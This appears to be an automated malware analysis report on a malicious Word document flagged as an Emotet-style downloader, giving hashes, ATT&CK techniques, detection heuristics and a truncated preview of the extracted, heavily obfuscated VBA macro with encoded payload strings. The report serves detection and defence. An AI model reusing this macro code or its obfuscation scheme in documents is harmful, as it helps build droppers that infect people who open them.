Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e68f985125b3d88…

MALICIOUS

Office (OLE)

156.5 KB Created: 2018-03-21 20:47:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 5e3945235280309056b06f1259bba69e SHA-1: 6db28f52ec5fd5999f993ded5a11b296718b9e32 SHA-256: 3e68f985125b3d88fa72a35fb680fca8bd0470ec10ee9507fbe2591cfd42e158
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen function, indicating it is designed to execute automatically upon opening. Heuristics indicate the use of CreateObject, a common technique for launching payloads. The macro is heavily obfuscated, but its presence and the AutoOpen execution trigger strongly suggest it is a downloader for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42592 bytes
SHA-256: a706a3a7a84cbc00ae7f02eb41294e767110f1737300263e164b5a90649fc883
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 15 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "uGXBkSHS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YziKOZUwniqm"
Function ccUBzDdJRGw()
On Error Resume Next
Select Case wVTwY
         Case 3614
            jWBsH = Hex(14054 - CSng(52714) - 93370 + ChrW(YTEZhl))
            pvvALi = sBiuE
End Select
OWzozuli = XPNtkk("ENrEAZQA2AGIAYgBlADMAYQBmADQAOABlAGYAZQA0ADEAMAAzAGYANQA5ADYAZABjADYANQA5AGIAZQBlAGEAZgA5AGIAOAA3ADUAMwAzAGMAOQA3ADkAMQAzADIANgAxAGIAMgA1ADAAZgAyADgAZAA3ADkAOQAzADYAMQBmADkANwA2AHoH", 4, 175)
Select Case kSDDI
         Case 94360
            cpZoa = Hex(49767 - CSng(44146) - 9700 + ChrW(NRXLj))
            AdBzEP = rYMWr
End Select
Select Case cnDaAv
         Case 72922
            vrlaNz = Hex(23190 - CSng(9972) - 27266 + ChrW(vOjbHq))
            HzJqb = FXXfzm
End Select
jWVsQQEmF = XPNtkk("KFA0ADYAOQA0ADcAZgA4ADMAlHtk", 3, 22)
Select Case EwmBG
         Case 60027
            vqAqjN = Hex(34796 - CSng(77931) - 82323 + ChrW(BjNVs))
            cATzjC = TMSqsw
End Select
Select Case PIqkzB
         Case 19986
            MwXRrl = Hex(38936 - CSng(66162) - 85107 + ChrW(zHwJhu))
            kUtOT = DPqdkz
End Select
jbCirdoTEW = XPNtkk("8Z9ANAA3ADEANQAyAWc%E", 4, 14)
Select Case DPUBik
         Case 86659
            ZDcIK = Hex(72896 - CSng(39257) - 23126 + ChrW(GbwbM))
            QRsLUB = Hjkvm
End Select
Select Case pTFXG
         Case 28941
            BMMTon = Hex(7897 - CSng(75178) - 78510 + ChrW(uGRGNu))
            doIoR = rtcWF
End Select
UJSzazL = XPNtkk(",vuDUAYgBhAGUAYgA3AGQANAAyAGEANwAxAGUAMwAwADUANwBhAGUANwAzEGohj", 4, 55)
Select Case ipiIpJ
         Case 52515
            FtHzJ = Hex(81734 - CSng(91844) - 94851 + ChrW(ozcYf))
            SGwjnV = LQwHK
End Select
Select Case WRdKb
         Case 20806
            iBUnbh = Hex(51530 - CSng(54687) - 84700 + ChrW(ZKulqM))
            OMwRhj = XipOF
End Select
iVkauYcF = XPNtkk("RraQAwADkAZgA4ADQAYgA0ADQANAA5ADYAOABlAGUAZQAyAGQAZgBlADIANABlADYAMAA2AGMANQBlADQANgAzAGQAZQA2AGMANwA5AosBZ", 4, 100)
Select Case pLqrj
         Case 51868
            vlLAzv = Hex(63733 - CSng(26134) - 48259 + ChrW(UjEBvP))
            hzVvP = rLWWzN
End Select
Select Case izaiJ
         Case 95722
            juPoz = Hex(21682 - CSng(9202) - 39633 + ChrW(iMirFL))
            ijKRz = ZWdQK
End Select
tHWHRIws = XPNtkk(",GqvA0ADQANQA2AGEANgAyADUAMQBlAGQAMQqcGj", 5, 32)
Select Case GdijvA
         Case 52482
            jAkwp = Hex(86907 - CSng(69919) - 55695 + ChrW(nOMWaw))
            wfYcV = LhAROB
End Select
Select Case HsSnS
         Case 45582
            YvOKKd = Hex(12275 - CSng(4061) - 33779 + ChrW(dOQAuS))
            QfAlH = GtrLJn
End Select
RidjCOu = XPNtkk("4ANwBiAGMAZgBlAGIANgBlADQAMgBjADgAYgAxAGUAMwA5ADYAYwBiAGMAZQBlADQANgBiADkAOQA0ADYANwBkADcAMAA4ADIAOAA5ADMAZAA4AGEAMABkAGUAMQNtqwu0h", 2, 123)
Select Case IWUZfi
         Case 49109
            bMYOb = Hex(963 - CSng(71680) - 21190 + ChrW(LMaMXn))
            HQEHQ = SzOdi
End Select
Select Case QBhfM
         Case 58455
            wbazu = Hex(39613 - CSng(13583) - 40551 + ChrW(lFFJD))
            vMAowQ = LAVqvH
End Select
crquHiNiABD = XPNtkk("ZUuDIAQQByAFkAUgBkAFEAPQA9AHwAYgAxADgAYwAyADMANwBmAGQANQA4ADYAMwBlAGQAOABkADgAOQBhAGUAOQA1ADQAMgBhAGMAMwAxADQANwAyAGIANAAzAGYANwA3ADYAYgA3ADIAMwA0ADIAOQA2ADMAMQAIOwRV", 4, 158)
Select Case saizvi
         Case 97095
            aoEjw = Hex(86568 - CSng(42204) - 88885 + ChrW(DwWGUi))
            htwPa = EZzabL
End Select
Select Case crHfTR
         Case 4928
            jNuwY = Hex(58609 - CSng(84111) - 27209 + ChrW(wohqb))
            vjBVI = iPlAz
End Select
lYlZE = XPNtkk("ntQA4ADcAOAAzADAAZAA3ADkAYgAzADgAYwBmAGQAZgBiAGIANQA0ADIANQBkADgANABlAGMAZgAwADgAMQA5AGIANQBhADUANgBjAGQAYgA3AGUAZgBhAD0KUc", 3, 117)
Select Case tFrSLC
         Case 16830
            bkpFS = Hex(
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.